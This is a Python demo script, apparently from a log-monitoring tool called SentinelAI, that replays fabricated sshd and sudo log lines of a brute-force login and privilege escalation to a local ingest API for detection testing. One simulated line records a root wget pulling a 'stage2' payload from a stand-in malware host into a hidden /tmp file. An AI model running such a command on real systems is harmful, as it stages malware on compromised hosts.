scripts/demo_attack.py

#!/usr/bin/env python3
"""Live demo: replay a realistic SSH → privilege escalation chain via /ingest-logs."""

from __future__ import annotations

import os
import sys
import time

import httpx

API = os.getenv("SENTINEL_API", "http://127.0.0.1:8000")


def main() -> None:
    lines = [
        "Jan 10 14:01:01 prod-bastion sshd[4411]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
        "Jan 10 14:01:03 prod-bastion sshd[4412]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
        "Jan 10 14:01:05 prod-bastion sshd[4413]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
        "Jan 10 14:01:07 prod-bastion sshd[4414]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
        "Jan 10 14:01:09 prod-bastion sshd[4415]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
        "Jan 10 14:01:16 prod-bastion sshd[4416]: Accepted publickey for ubuntu from 203.0.113.77 port 22 ssh2",
        "Jan 10 14:02:02 prod-bastion sudo: ubuntu : TTY=pts/2 ; USER=root ; COMMAND=/usr/bin/wget -q http://malware.test/stage2 -O /tmp/.fontd",
    ]
    with httpx.Client(timeout=30.0) as client:
        for raw in lines:
            r = client.post(
                f"{API.rstrip('/')}/ingest-logs",
                json={"source": "demo_script", "raw_line": raw, "metadata": {"host": "prod-bastion"}},
            )
            print(r.status_code, r.text[:200])
            time.sleep(0.15)
    print("Demo chain submitted — watch the SentinelAI dashboard WebSocket feed.")


if __name__ == "__main__":
    try:
        main()
    except httpx.HTTPError as e:
        print("HTTP error:", e, file=sys.stderr)
        sys.exit(1)